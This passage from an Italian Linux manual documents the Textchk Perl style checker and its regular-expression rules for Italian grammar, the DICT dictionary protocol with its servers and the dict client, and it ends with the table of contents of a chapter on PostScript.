La lingua italiana consente spesso l'utilizzo di forme espressive differenti, per le quali dovrebbe esserci almeno uniformità all'interno di uno stesso documento. Per esempio, occorre decidere se si vuole scrivere: «una aula» oppure «un'aula», «ed anche» oppure «e anche»,...

In questa sezione si mostra un programma Perl che può aiutare a definire delle regole rappresentate in forma di espressioni regolari, per segnalare degli errori sintattici o stilistici. Con questo programma è possibile indicare anche delle regole di eccezione e delle particolarità riferite a un solo documento. Il programma in questione è Textchk,.[7]

59.2.1 Principio di funzionamento

Textchk scandisce un file di partenza generando un altro file contenente le parti di testo che risulterebbero errate (oltre a un file diagnostico contenente la registrazione del procedimento di verifica). Prima di iniziare a leggere il file da esaminare, vengono caricati dei modelli che esprimono degli errori, espressi in forma di espressione regolare, seguiti eventualmente da dei modelli di eccezione. Infine, vengono caricate anche delle particolarità riferite al testo che si elabora, trattate in forma letterale e non più secondo il modello di un'espressione regolare.

Figura 59.9. Schema di funzionamento di Textchk.

Gli errori che si possono ricercare attraverso delle espressioni regolari, riguardano la vicinanza di parole che hanno caratteristiche determinate, come l'uso o meno di articoli apostrofati. Sotto questo aspetto, diventa importante che, nel file di testo originale, ogni paragrafo si trovi su una sola riga, cioè non sia interrotto su più righe.

A fianco di questo problema, si aggiunge il fatto che il file sorgente che si vuole esaminare potrebbe contenere dei codici di controllo, come nel caso di TeX (o LaTeX) e di HTML. In tutte queste situazioni, prima di passare all'analisi vera e propria, occorre ripulire e riadattare il testo, in modo da avere a che fare con un file di testo puro, in cui ogni paragrafo si trovi su una sola riga.

59.2.1.1 Espressioni regolari

Textchk è scritto in Perl, pertanto le espressioni regolari che possono essere gestite sono quelle di questo linguaggio di programmazione.

La ricerca della corrispondenza con le espressioni regolari che esprimono un errore, viene fatta in modo da circoscrivere, se possibile, tre parole prima e dopo della zona dell'errore. Per questa ragione, non ha senso tentare di identificare l'inizio e la fine di una riga (con i simboli '`^`' e '`$`'), inoltre non è possibile utilizzare le parentesi tonde.

A titolo di esempio, si propone il problema della «d» eufonica, per la precisione il caso di «ad». Supponendo di volerla utilizzare solo quando la parola successiva inizia con la vocale «a», escludendo il caso in cui la parola continui con un'altra «d» (per esempio: «ad amare»,

ma non «ad adattare»), si possono usare le espressioni regolari seguenti per individuare gli errori.

```
\ba[[:space:]]+a[^d][[:word:]]*\b
\bad[[:space:]]+ad[[:word:]]*\b
\bad[[:space:]]+[^a][[:word:]]*\b
```

Per intendere meglio il significato di ciò che è scritto, la prima riga significa:

'**\b**'	lo spazio vuoto prima della parola;
'**a**'	la lettera «a»;
'**[[:space:]]+**'	uno o più spazi orizzontali;
'**a[^d]**'	la lettera «a» seguita immediatamente da qualunque cosa che sia diversa dalla lettera «d»;
'**[[:word:]]***'	zero o più caratteri alfabetici;
'**\b**'	lo spazio vuoto dopo la parola.

Nello stesso tempo, però, si può decidere di accettare un'eccezione: «ad esempio», che secondo quanto stabilito con l'ultima delle espressioni regolari appena mostrate, dovrebbe essere un errore. Si può usare quindi l'espressione regolare seguente, tra le eccezioni.

```
\bad[[:space:]]+esempio\b
```

59.2.2 Configurazione

La configurazione di Textchk serve a definire gli errori sintattici che si ricercano. In generale è importante definire una configurazione specifica per ogni singolo progetto di documentazione, ma resta la possibilità di stabilire regole personali, legate all'utente, oltre che regole generali legate al sistema (per quanto questo possa avere un valore relativo).

La configurazione avviene attraverso un file di testo normale, in cui le righe bianche, quelle vuote e quelle che iniziano con il simbolo '**#**' vengono ignorate. Le altre righe sono dei record che possono avere una delle due forme seguenti:

DBL____***regola_di_errore*** [____***testo_esplicativo***]

ERR____***regola_di_errore*** [____***testo_esplicativo***]

EXC____***regola_di_eccezione***

Nel primo caso si identifica una parola che si ritiene possa essere stata scritta due volte, in modo erroneo; il secondo indica un modello di errore, mentre nel terzo si tratta di un'eccezione. I record che descrivono le regole di eccezione si riferiscono sempre all'ultima regola di errore (di tipo '**DBL**' o '**ERR**') che sia stata incontrata fino a quel punto.

La forma di questi record è un po' strana, nel senso che la separazione dei campi avviene attraverso una sequenza di quattro trattini bassi ('____'). Ciò serve per evitare di creare problemi alla realizzazione delle espressioni regolari che descrivono gli errori e le eccezioni.

```
#
# d eufonica
# a|e|o prendono una «d» eufonica se sono seguite da una parola che
# inizia con la stessa vocale, a meno che ci sia subito dopo un'altra
# «d».
#
ERR____\ba[[:space:]]+a[^d][[:word:]]*\b____a --> ad
EXC____\bda[[:space:]]+a[[:space:]]+a\b
#
ERR____\bad[[:space:]]+ad[[:word:]]*\b____ad --> a
#
ERR____\bad[[:space:]]+[^aA][[:word:]]*\b____ad --> a
EXC____\bad[[:space:]]+esempio\b
EXC____\bad[[:space:]]+ora\b
#
ERR____\be[[:space:]]+e[^d][[:word:]]*\b____e --> ed
ERR____\bed[[:space:]]+[eE]d[[:word:]]*\b____ed --> e
ERR____\bed[[:space:]]+[^eèE][[:word:]]*\b____ed --> e
#
ERR____\bo[[:space:]]+[oO][^d][[:word:]]*\b____o --> od
ERR____\bod[[:space:]]+[oO]d[[:word:]]*\b____od --> o
ERR____\bod[[:space:]]+[^oO][[:word:]]*\b____od --> o
```

L'esempio mostra una serie di istruzioni con le quali si cerca di definire l'uso della «d» eufonica. Vale la pena di analizzare cosa succede di fronte a una situazione precisa. Si suppone di avere scritto un testo nel quale è stata inserita la frase seguente:

```
Purtroppo, fino ad ora il colore dell'auto non è stato scelto dal cliente.
```

Concentrando l'attenzione sui record di configurazione seguenti, si può simulare ciò che succede.

```
ERR____\bad[[:space:]]+[^aA][[:word:]]*\b____ad --> a
EXC____\bad[[:space:]]+esempio\b
EXC____\bad[[:space:]]+ora\b
```

Per cominciare, viene individuato un errore in via preliminare in corrispondenza di «ad ora», perché la parola che segue «ad» non inizia con una lettera «a». Textchk preleva una stringa di tre parole prima e tre parole dopo questo errore: «Purtroppo, fino ad ora il colore dell'auto». In questo caso, le parole precedenti sono solo due, perché non è stato possibile ottenere di più.

Su questa stringa estratta viene condotto il controllo per le eccezioni successive; così, dal momento che si ottiene una corrispondenza (sempre con «ad ora»), l'errore si rivela infondato (in base ai presupposti stabiliti).

L'ultimo campo dei record che descrivono gli errori serve per indicare una spiegazione per ciò che viene identificato come un errore. Questa spiegazione viene mostrata da Textchk nel momento in cui l'errore relativo viene mostrato, secondo lo schema seguente:

testo_esplicativo
    tre_parole_precedenti*>>*errore*<<*tre_parole_successive

Come si vede, la corrispondenza con l'errore viene evidenziata dai delimitatori '**>>**' e '**<<**'.

59.2.2.1 Gerarchia della configurazione

Textchk è stato pensato originariamente per avere una configurazione specifica per ogni progetto di documentazione che ogni autore possa gestire. Tuttavia, è possibile definire anche una configurazione personale e una di sistema. Si tratta dei file seguenti:

'`./.textchk.rules`'	contiene la configurazione corrente, che viene letta prima delle altre;
'`~/.textchk.rules`'	contiene la configurazione personale, letta subito dopo quella corrente;
'`/etc/textchk.rules`'	contiene la configurazione di sistema, che viene letta alla fine.

In generale non è opportuno stabilire una configurazione generale di sistema. Tuttavia, se c'è la necessità di annullare l'effetto di una regola di errore stabilita a livello generale, si può dichiarare la stessa regola nella configurazione personale o in quella corrente, facendola seguire immediatamente da un'eccezione identica. Per esempio, si può supporre di avere definito a livello di sistema la regola seguente, che richiede l'uso della «d» eufonica ogni volta che la parola seguente inizia con una vocale:

```
ERR____\b[aeo][[:space:]]+[aeiouAEIOU][[:word:]]*\b____a/e/o --> ad/ed/od
```

Per annullarne l'effetto completamente, basta aggiungere la stessa regola in qualità di eccezione, subito dopo:

```
#
# Regola di sistema che qui viene annullata.
#
ERR____\b[aeo][[:space:]]+[aeiouAEIOU][[:word:]]*\b____a/e/o --> ad/ed/od
EXC____\b[aeo][[:space:]]+[aeiouAEIOU][[:word:]]*\b
```

59.2.2.2 Casi particolari

Alle volte non conviene indicare troppe eccezioni, oppure non è materialmente possibile. Per esempio, si può immaginare il caso in cui si vuole mostrare veramente un modo sbagliato di scrivere per qualche ragione. Per queste situazioni viene in aiuto un file di configurazione aggiuntivo, che però può essere associato esclusivamente a un solo progetto di documentazione. Si tratta del file '`./.textchk.special`', in cui si possono inserire integralmente alcune stringhe che Textchk ha indicato precedentemente come errate.

Per questa parte della configurazione non c'è molto da fare: basta utilizzare un programma per la creazione e la modifica dei file di testo ricopiando ciò che serve dal file che viene generato da Textchk per registrare gli errori trovati. L'esempio seguente mostra un estratto di quello che potrebbe contenere questo file. Si osservi il fatto che si tratta di esempi di errori scritti così di proposito.

```
oppure «un'aula», «ed anche» oppure «e
vuole scrivere: «una aula» oppure «un'aula»,
ma non «ad adattare»), si possono
```

59.2.2.3 L'indicazione di parole doppie

Un errore frequente nella scrittura di un testo consiste nella ripetizione di una parola per due volte di seguito, mentre l'intenzione sarebbe quella di scriverla una volta sola. Per intercettare questo tipo di situazione si utilizza il record '**`DBL`**'. Nel campo dell'espressione che indica l'errore, si fa riferimento implicitamente a una parola intera. Infatti, nella comparazione reale, viene aggiunto il simbolo '**`\b`**' all'inizio e alla fine, a sottolineare che la parola deve essere completa. Si osservi l'esempio seguente:

```
#
# Parole doppie.
#
DBL____[[:word:]][[:word:]]+____Due parole identiche
EXC____\bciao[[:space:]]+ciao\b
```

L'intenzione è di individuare qualunque parola ('**`[[:word:]]+`**'), composta almeno da due caratteri, che si ripete immediatamente. Viene posta una sola eccezione alla coppia «ciao ciao».

59.2.3 Come si usa

Textchk si compone di un eseguibile unico, '**`textchk`**', che si utilizza secondo lo schema sintattico seguente:

textchk --input-type=*tipo_di_file* *file_da_analizzare* ↩
↪ [*errori_risultanti* [*file_diagnostico*]]

```
textchk --help
```

```
textchk --version
```

Oltre alle opzioni standard, '**`--help`**' e '**`--version`**', l'opzione '**`--input-type`**' serve a stabilire il tipo di file che si fornisce in ingresso, in modo che Textchk sappia come fare per gestirlo opportunamente, attraverso un argomento:

Opzione	Descrizione
`--input-type=standard`	si riferisce a un file di testo in cui ogni capoverso occupa esattamente una riga e non richiede altri adattamenti;
`--input-type=man`	si riferisce a un file Troff delle pagine di manuale;

Opzione	Descrizione
`--input-type=texinfo` `--input-type=texi`	si riferisce a un sorgente Texinfo;
`--input-type=html`	si riferisce a un file HTML.

Il secondo argomento della riga di comando è il nome del file da analizzare, che deve corrispondere al tipo indicato precedentemente. Il terzo argomento serve a definire il nome del file che viene creato per annotare le stringhe errate che vengono individuate; se non viene fornito espressamente il suo nome, viene creato un file con lo stesso nome di quello in ingresso, con l'aggiunta dell'estensione '`.tchk`' ('***file_da_analizzare***`.tchk`'). Il quarto argomento serve a specificare il nome del file diagnostico, nel quale vengono registrate tutte le fasi di individuazione di errori e di eccezioni. Anche l'indicazione di questo file può essere omessa; in tal caso viene usato il nome del file degli errori con l'aggiunta dell'estensione '`.tdiag`', oppure il file in ingresso con la stessa aggiunta ('***errori_risultanti***`.tdiag`' oppure '***file_da_analizzare***`.tdiag`').

Per esempio, il comando seguente genera i file '`bash.1.tchk`' e '`bash.1.tdiag`':

`$` **`textchk --input-type=man bash.1`** [*Invio*]

59.2.3.1 Come vengono mostrati gli errori e i dati diagnostici

Durante il suo lavoro, Textchk mostra sullo schermo ciò che trova, delimitando gli errori tra i delimitatori '**`>>`**' e '**`<<`**'. Per esempio, in base alle regole seguenti,

```
ERR____\bad[[:space:]]+[^aA][[:word:]]*\b____ad --> a
EXC____\bad[[:space:]]+esempio\b
EXC____\bad[[:space:]]+ora\b
```

si possono ottenere segnalazioni come queste:

```
ad --> a
    Pertanto, andando >>ad elevare<< il proprio livello
ad --> a
    contrario, riuscendo così >>ad esplorare<< il proprio mondo
```

Nel file che elenca gli errori si trovano le righe seguenti:

```
Pertanto, andando ad elevare il proprio livello
contrario, riuscendo così ad esplorare il proprio mondo
```

Inoltre, nel file diagnostico si trova l'intero procedimento:

```
??? Pertanto, andando >>ad elevare<< il proprio livello
ERR \bad[[:space:]]+[^aA][[:word:]]*\b
!!! Pertanto, andando >>ad elevare<< il proprio livello

??? contrario, riuscendo così >>ad esplorare<< il proprio mondo
```

```
ERR \bad[[:space:]]+[^aA][[:word:]]*\b
!!! contrario, riuscendo così >>ad esplorare<< il proprio mondo

??? Il colore rosso, >>ad esempio<<, rappresenta la propria
ERR \bad[[:space:]]+[^aA][[:word:]]*\b
EXC \bad[[:space:]]+esempio\b

??? Il colore rosso, >>ad esempio<<, rappresenta la propria
ERR \bad[[:space:]]+[^aA][[:word:]]*\b
EXC \bad[[:space:]]+esempio\b

??? Pertanto, l'espressione «>>ad emettere<<» non è corretta.
ERR \bad[[:space:]]+[^aA]][[:word:]]*\b
SPC Pertanto, l'espressione «ad emettere» non è corretta.
```

Il file diagnostico mostra informazioni diverse, distinte attraverso una sigla iniziale. Le righe che iniziano con '**`???`**' indicano il problema trovato; le righe che iniziano con '**`ERR`**' rappresentano la regola di errore in base alla quale viene evidenziato il problema; le righe che iniziano con '**`EXC`**' indicano una regola di eccezione per la quale il problema viene superato; le righe che iniziano con '**`SPC`**' rappresentano un caso particolare (speciale), per cui la frase in questione viene accettata così come si trova. Infine, le righe che iniziano con '**`!!!`**' rappresentano la conferma finale che si deve trattare di un errore.

59.2.4 Come si installa

Textchk si compone di un solo programma Perl: '**`textchk`**'. Questo file può essere collocato ovunque sia ritenuto più conveniente, preferendo evidentemente una directory elencata all'interno della variabile di ambiente ***PATH***.

Trattandosi di un programma Perl, deve essere disponibile l'interprete relativo. Attualmente si prevede che questo corrisponda esattamente all'eseguibile '`/usr/bin/perl`'. Se il proprio sistema non è organizzato in questo modo, basta modificare la prima parte del programma:

```
#!/usr/bin/perl
...
```

Dopo la soluzione di questo problema, c'è solo bisogno di predisporre un file di regole, '`./.textchk.rules`', poi, mano a mano che il lavoro procede, può essere conveniente predisporre anche il file '`./.textchk.special`'.

59.2.4.1 Gettext

I messaggi che può mostrare Textchk possono essere tradotti, dal momento che viene usato il modulo Perl-gettext. Nel pacchetto del sorgente è presente un file di messaggi per la lingua italiana, che però deve essere compilato e installato:

`$` **`msgfmt -o textchk.mo it.po`** [*Invio*]

In questo modo, si genera il file '`textchk.mo`', che probabilmente va collocato nella directory '`/usr/share/locale/it/LC_MESSAGES/`'.

59.2.4.2 Dipendenze

Per funzionare, Textchk richiede l'interprete Perl e la presenza di un modulo speciale: Perl-gettext. Inoltre, per poter gestire correttamente i diversi tipi di file per cui è stato predisposto, richiede in particolare Groff, Lynx e Texinfo.

59.3 Dizionari

Esistono diversi tipi di dizionario che spesso sono disponibili in forma di file di testo, redatti secondo un certo standard. Non si tratta esclusivamente di dizionari per le traduzioni, ma si possono includere quelli per i sinonimi, quelli specifici per un certo settore tecnico, fino a quelli biblici.

Per accedere a tutti i dizionari disponibili presso un elaboratore, si usa generalmente un programma demone, a cui si accede attraverso la rete, precisamente secondo il protocollo DICT (*Dictionary server protocol*) descritto dal documento RFC 2229. Naturalmente, i file contenenti i dizionari, devono essere realizzati secondo il formato atteso dal demone stesso. Di solito si considera il programma '**`dictd`**' per questo scopo.

Figura 59.27. Il servizio DICT viene fornito attraverso un demone, di solito in ascolto della porta 2628/TCP.

59.3.1 Dictd o Serpento

Il programma che di solito si usa come servente DICT è Dictd[8] oppure Serpento[9] (il secondo sembra avere una gestione migliore dell'insieme di caratteri universale).

```
dictd
```

```
serpento
```

Il programma, sia '**`dictd`**', sia '**`serpento`**', salvo indicazioni differenti nella sua configurazione, si collega ai file che dovrebbero trovarsi nella directory '`/usr/share/dictd/`' e si mette in ascolto della porta 2628/TCP.

I file in questione devono essere conformi a quanto atteso dai programmi. Nel caso della distribuzione GNU/Linux Debian, i dizionari sono distribuiti in pacchetti separati, il cui nome inizia per '**`dict-`**'.

59.3.2 Interrogazione manuale di un servizio DICT

Per comprendere l'utilità del servizio DICT, prima di avvicinarsi all'uso dei programmi clienti che possono servirsene, conviene provare a utilizzare direttamente il protocollo, con i suoi comandi principali. Ciò consente anche di verificare il funzionamento del servizio. Per l'interrogazione diretta, si può usare Netcat o Telnet:

```
netcat nodo 2628
```

```
telnet nodo 2628
```

Ecco come si potrebbe usare Telnet per accedere all'elaboratore locale, presso il quale è in funzione Serpento:

`$` **`telnet localhost 2628`** [*Invio*]

```
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 hello <> msg
```

`SHOW SERVER` [*Invio*]

```
114 server information follows
serpento
.
250 Command complete
```

`QUIT` [*Invio*]

```
221 bye bye
Connection closed by foreign host.
```

Prima di vedere i comandi più importanti, è necessario chiarire il significato di alcune definizioni che si rifanno a quanto scritto nel documento RFC 2229.

- Ogni dizionario viene considerato costituire una «base di dati», ma qui non si usa questa dizione che sembra impropria.
- La ricerca di un termine avviene attraverso un confronto, il cui metodo può cambiare in base alla necessità. Per esempio si può cercare una corrispondenza esatta, oppure una corrispondenza fonetica. Il metodo di confronto di una ricerca viene definito «strategia»; qui si fa riferimento al metodo di ricerca.

La tabella successiva mostra la sintassi, semplificata di alcuni comandi.

Sintassi	Descrizione
`DEFINE` ***dizionario parola*** `DEFINE {!|*}` ***parola***	Richiede di trovare la definizione o la traduzione della parola indicata, cercandola nel dizionario stabilito (si cerca una corrispondenza esatta e completa della parola indicata). Se al posto del dizionari si indica un punto esclamativo, si vuole ottenere il risultato nel primo dizionario annoverato dal servizio; se invece si utilizza un asterisco, si vogliono trovare le corrispondenze con tutti i dizionari disponibili.
`MATCH` ***dizionario metodo_ricerca parola*** `MATCH {!|*}` ***metodo_ricerca parola***	Richiede di trovare una corrispondenza della parola indicata, attraverso l'indicazione di un metodo di ricerca (o strategia). Se al posto del dizionari si indica un punto esclamativo, si vuole ottenere il risultato nel primo dizionario annoverato dal servizio; se invece si utilizza un asterisco, si vogliono trovare le corrispondenze con tutti i dizionari disponibili.
`MATCH` ***dizionario*** `exact` ***parola***	Richiede di trovare una corrispondenza esatta della parola, praticamente come avviene con il comando '**`DEFINE`**'.
`MATCH` ***dizionario*** `prefix` ***parola***	Richiede di trovare una corrispondenza iniziale della parola.
`MATCH` ***dizionario*** **.** ***parola***	Richiede di trovare una corrispondenza secondo il metodo predefinito del servente, che dovrebbe corrispondere al migliore disponibile.
`SHOW DB` `SHOW DATABASE`	Richiede di mostrare l'elenco dei dizionari disponibili.
`SHOW STRAT` `SHOW STRATEGIES`	Richiede di mostrare l'elenco dei metodi di ricerca disponibili (quelli utilizzabili con il comando '**`MATCH`**'.
`SHOW SERVER` `SHOW SERVER`	Richiede di mostrare il nome del servente.
`QUIT`	Conclude il collegamento.

Segue la descrizione di alcuni esempi, partendo dalle interrogazioni necessarie a conoscere quali sono i dizionari disponibili.

- **`SHOW DB`** [*Invio*]

```
110 57 databases here
…
freedict-iri-eng "freedict-iri-eng"
freedict-eng-lat "freedict-eng-lat"
freedict-deu-ita "freedict-deu-ita"
freedict-deu-por "freedict-deu-por"
.
250 Command complete
```

- **`SHOW STRAT`** [*Invio*]

  ```
  111 9 strategies here
  soundex "Match using SOUNDEX algorithm"
  suffix "Match suffixes"
  metaphone "metaphone algorithm"
  substring "Match substring occurring anywhere in word"
  re "POSIX 1003.2 regular expressions"
  prefix "Match prefixes"
  lev "Match words within Levenshtein distance one"
  fnmatch "fnmatch-like (* ? as wildcards)"
  exact "Match words exactly"
  .
  250 Command complete
  ```

  I metodi di ricerca '**`exact`**' e '**`prefix`**' sono obbligatori, nel senso che devono essere sempre presenti, secondo quanto stabilito dal documento RFC 2229.

- **`DEFINE ! ciao`** [*Invio*]

  In questo caso si chiede la definizione (la corrispondenza esatta) della parola «ciao» con il primo dizionario disponibile:

  ```
  150 1 here you are
  151 "ciao" freedict-eng-cro "freedict-eng-cro"
  ciao

  ćao
  .
  250 Command complete
  ```

  In questo caso è stata ottenuta la traduzione dall'inglese al croato.

- **`DEFINE * ciao`** [*Invio*]

  Questa volta si vuole la definizione della parola da tutti i dizionari disponibili; qui si vede solo l'ultimo:

```
150 5 here you are
…
151 "ciao" freedict-ita-eng "freedict-ita-eng"
ciao
     hello
.
250 Command complete
```

* **`MATCH ! soundex amore`** [*Invio*]

  Viene cercata la parola «amore», attraverso il metodo di ricerca (strategia) '**`soundex`**', limitando l'interesse al primo dizionario che contenga almeno una corrispondenza valida:

```
152 9 here you are
…
freedict-fra-eng "amour"
freedict-fra-eng "aumônier"
freedict-fra-eng "annuaire"
freedict-fra-eng "amener"
.
250 Command complete
```

  Eventualmente, dopo si può fare una ricerca con il comando '**`DEFINE`**', specificando anche il dizionario, per avere maggiori indicazioni su una parola dell'elenco trovato.

59.3.3 Il programma Dict per l'interrogazione del servizio

Dict[10] è il programma più comune per l'interrogazione di un servizio DICT. Si usa a riga di comando, ma proprio per questo è molto semplice ed efficace:

`dict` [***opzioni***] ***parola***

`dict` [***opzioni***] `dict://`***nodo***`/d:`***parola***[`:`***dizionario***]

`dict` [***opzioni***] `dict://`***nodo***`/m:`***parola***[`:`***dizionario***[`:`***modalità_di_ricerca***]]

La prima forma di utilizzo del programma implica la ricerca della parola indicata presso il servente o i serventi indicati nella configurazione (salvo indicazione diversa attraverso le opzioni); la seconda richiede una ricerca presso un elaboratore stabilito, utilizzando un confronto completo (l'equivalente del comando '**`DEFINE`**' del protocollo DICT); l'ultima richiede una ricerca presso un elaboratore stabilito, utilizzando un confronto che non sia necessariamente esatto (l'equivalente del comando '**`MATCH`**' del protocollo DICT).

Il file di configurazione generale di Dict può essere, a seconda dei sistemi, '`/etc/dict.conf`', oppure '`/etc/dictd/dict.conf`'; il file di configurazione personale di ogni

utente è '~/.dictrc'. La configurazione serve a specificare i serventi predefiniti, aggiungendo eventualmente indicazioni sulla porta TCP da utilizzare, nel caso non sia quella standard:

```
server nodo [port n_porta]
```

Eventualmente sono disponibili altre opzioni nella direttiva '**server**' nei casi in cui l'accesso al servente richieda una forma di autenticazione. È normale trovare queste due direttive nel file di configurazione:

```
server localhost
server dict.org
```

In pratica, si cerca prima un servizio DICT localmente, altrimenti si interroga quello fornito da *dict.org*.

Tabella 59.38. Alcune opzioni per l'utilizzo di Dict.

Opzione	Descrizione
-h ***nodo*** --host ***nodo***	Specifica di interrogare un servente particolare, che probabilmente è diverso da quanto indicato nella configurazione.
-p ***n_porta*** --port ***n_porta***	Specifica di rivolgersi a un certo numero di porta TCP, evidentemente diverso da quello predefinito che sarebbe 2628.
-d ***dizionario*** --database ***dizionario***	Specifica il dizionario all'interno del quale si vuole eseguire la ricerca.
-D --dbs	Richiede un elenco dei dizionari disponibili presso il servente.
-m --match	Invece di ottenere una «definizione», si richiede di cercare una corrispondenza (sulla base del metodo di ricerca specificato con l'opzione '**--strategy**').
-s ***metodo_ricerca*** --strategy ***metodo_ricerca***	Se si usa l'opzione '**-m**', consente di specificare il metodo di ricerca.
-S --strats	Richiede un elenco dei metodi di ricerca (strategie) disponibili presso il servente.

Segue la descrizione di alcuni esempi.

- $ **dict -D** [*Invio*]

```
Databases available:
…
 freedict-iri-eng freedict-iri-eng
 freedict-eng-lat freedict-eng-lat
 gazetteer2k-places gazetteer2k-places
 freedict-deu-ita freedict-deu-ita
 freedict-por-deu freedict-por-deu
 freedict-deu-por freedict-deu-por
```

- $ **dict -S** [*Invio*]

```
Strategies available:
 soundex    Match using SOUNDEX algorithm
 suffix     Match suffixes
 metaphone  metaphone algorithm
 substring  Match substring occurring anywhere in word
 re         POSIX 1003.2 regular expressions
 prefix     Match prefixes
 lev        Match words within Levenshtein distance one
 fnmatch    fnmatch-like (* ? as wildcards)
 exact      Match words exactly
```

  I metodi di ricerca '**exact**' e '**prefix**' sono obbligatori, nel senso che devono essere sempre presenti, secondo quanto stabilito dal documento RFC 2229.

- $ **dict \! ciao** [*Invio*]

  In questo caso si chiede la definizione (la corrispondenza esatta) della parola «ciao» con il primo dizionario disponibile. Il punto esclamativo appare preceduto dalla barra obliqua inversa perché altrimenti la shell lo interpreterebbe con un significato speciale.

```
1 definition found

From freedict-eng-cro [freedict-eng-cro]:

  ciao

  ćao
```

  In questo caso è stata ottenuta la traduzione dall'inglese al croato.

- $ **dict -d * ciao** [*Invio*]

  Questa volta si vuole la definizione della parola da tutti i dizionari disponibili (anche in questo caso la barra obliqua inversa, che precede l'asterisco, serve a evitare che la shell interpreti l'asterisco in modo speciale); qui si vede soltanto l'ultimo:

```
6 definitions found
…
From freedict-ita-eng [freedict-ita-eng]:

  ciao
       hello
```

- `$` **`dict ciao`** [*Invio*]

  Si ottiene esattamente la stessa cosa del comando precedente; poiché, se non si specifica il dizionario, vengono scanditi tutti.

- `$` **`dict -m -s soundex amore`** [*Invio*]

  Viene cercata la parola «amore», attraverso il metodo di ricerca (strategia) '**`soundex`**', su tutti i dizionari disponibili:

```
gcide:  Aimer  Ameer  Amir  Amorwe  Amour  Anear  Annoyer
  Annuary  Anoura  anoura  Anura  anuria  Anury  Anywhere  Aumery
…
foldoc:  annoyware  anr
easton:  Amariah  Aner
hitchcock:  Amariah  Aner
gazetteer:  Amery  Amory  Anmoore  Aynor
gaz-place:  Amery  "Amery, WI"  Amory  Anmoore  Aynor
```

  Eventualmente, dopo si può fare una ricerca normale (come «definizione»), specificando anche il dizionario, per avere maggiori indicazioni su una parola dell'elenco trovato.

- `$` **`dict -D -h dict.org`** [*Invio*]

  Elenca i dizionari disponibili presso l'elaboratore *`dict.org`*:

```
Databases available:
…
 english    English Monolingual Dictionaries
 trans      Translating Dictionaries
 all        All Dictionaries (English-Only and Translating)
 web1913    Webster's Revised Unabridged Dictionary (1913)
 world95    The CIA World Factbook (1995)
```

- `$` **`dict -S -h dict.org`** [*Invio*]

```
Strategies available:
 exact      Match headwords exactly
 prefix     Match prefixes
 substring  Match substring occurring anywhere in a headword
 suffix     Match suffixes
 re         POSIX 1003.2 (modern) regular expressions
 regexp     Old (basic) regular expressions
 soundex    Match using SOUNDEX algorithm
 lev        Match headwords within Levenshtein distance one
 word       Match separate words within headwords
```

- `$` **`dict dict://dict.org/d:ciao`** [*Invio*]

  Si chiede la definizione (la corrispondenza esatta) della parola «ciao» con tutti i dizionari disponibili presso *`dict.org`*.

```
1 definition found

From WordNet (r) 2.0 [wn]:

  ciao
       n : an acknowledgment that can be used to say hello or goodbye
           (aloha is Hawaiian and ciao is Italian) [syn: {aloha}]
```

- `$` **`dict dict://dict.org/d:love:easton`** [*Invio*]

  Cerca la definizione della parola «love» nel dizionario '**`easton`**', presso *`dict.org`*:

```
1 definition found

From Easton's 1897 Bible Dictionary [easton]:

  Love
     This word seems to require explanation only in the case of its
     use by our Lord in his interview with "Simon, the son of Jonas,"
…
       In 1 Cor. 13 the apostle sets forth the excellency of love, as
     the word "charity" there is rendered in the Revised Version.
```

- `$` **`dict dict://dict.org/m:amore:\*:soundex`** [*Invio*]

  Viene cercata la parola «amore», attraverso il metodo di ricerca (strategia) '**`soundex`**', su tutti i dizionari disponibili, presso *`dict.org`*:

```
gcide:  Aimer  Ameer  Amir  Amorwe  Amour  Anear  Annoyer
  Annuary  Anoura  anoura  Anura  anuria  Anury  Anywhere  Aumery
…
hitchcock:  Amariah  Aner
gazetteer:  Amery  Amory  Anmoore  Aynor
gaz-place:  Amery  "Amery, WI"  Amory  Anmoore  Aynor
```

59.4 Riferimenti

- *DICT.org*

  ⟨*http://www.dict.org* ⟩

- *RFC 2229: A dictionary server protocol*, 1997

  ⟨*http://www.ietf.org/rfc/rfc2229.txt* ⟩

[1] **Ispell** software libero con licenza speciale

[2] Quando si ha a che fare con documentazione tecnica, in cui l'uso di termini in inglese è frequente, si potrebbe addirittura valutare la possibilità di basare l'analisi sul dizionario standard ('`english.hash`'), affiancando il dizionario personale specifico per il documento, solo che in tal caso si avrebbero difficoltà con le lettere accentate, dal momento che queste non sono previste nel file *affix* inglese.

[3] Le lettere '**ÿ**' e '**ß**', corrispondenti ai codici '**`\377`**' e '**`\337`**', sono minuscole e non hanno un equivalente maiuscolo nella codifica ISO 8859-1.

[4] In pratica, '**`munchlist`**' elimina queste parole ritenute estranee. Se si dispone di un elaboratore ben equipaggiato, si può dare in pasto a Ispell il file ottenuto dopo il riordino; lasciando a Ispell stesso il compito di eliminare i doppioni.

[5] **Aspell** GNU LGPL

[6] **Hunspell** GNU GPL, o GNU LGPL, o MPL

[7] **Textchk** GNU GPL

[8] **Dictd** GNU GPL

[9] **Serpento** GNU GPL

[10] **Dict** GNU GPL

Capitolo 60

PostScript: un linguaggio per la composizione finale

60.1 Impostazione generale 3204

60.1.1 Piano di lavoro e unità di misura 3206
60.1.2 Posizione corrente 3207
60.1.3 Istruzioni speciali più importanti 3207
60.1.4 Aspetto delle istruzioni normali 3208

60.2 Linee e aree 3209

60.2.1 Archi e curve 3213

60.3 Salvare e recuperare le impostazioni grafiche 3215

60.4 Spostamento del piano cartesiano e modifica della scala 3217

60.5 Ripetizione 3219

60.6 Testo 3220

60.7 Salvataggio e recupero delle impostazioni della pagina nel complesso 3222

60.8 La pila 3224

60.9 Funzioni comuni 3226

60.10 Operazioni sulle stringhe 3228

60.11 Funzioni 3229

60.11.1 Variabili 3230

60.12 Dizionari 3231

60.13 Caratteri da stampa 3232

60.14 Aspetto dei caratteri da stampa comuni 3233

60.15 Distorsione e spostamento dei caratteri da stampa 3237

60.16 Esempi di funzioni 3239

60.16.1 Unità di misura 3239
60.16.2 Funzioni diagnostiche 3240
60.16.3 Gestione di stringhe 3240

60.17 Approfondimento: modifica sistematica dei contenuti 3244

60.17.1 Modifica del file PostScript 3244
60.17.2 Due programmi Perl che fanno tutto da soli 3248
60.17.3 Utilizzo pratico di questi programmi 3250

60.18 Riferimenti 3252

Benché il linguaggio PostScript sia nato per le stampanti, disponendo di Ghostscript potrebbe essere usato anche per scrivere direttamente. Lo scopo di questo capitolo è quello di introdurre all'uso diretto del linguaggio PostScript, in modo molto semplice, facendo riferimento prevalentemente al livello 1, eventualmente con qualche annotazione sul livello 2, mentre il livello 3 diventa troppo complesso e non più utile per un utilizzo diretto.
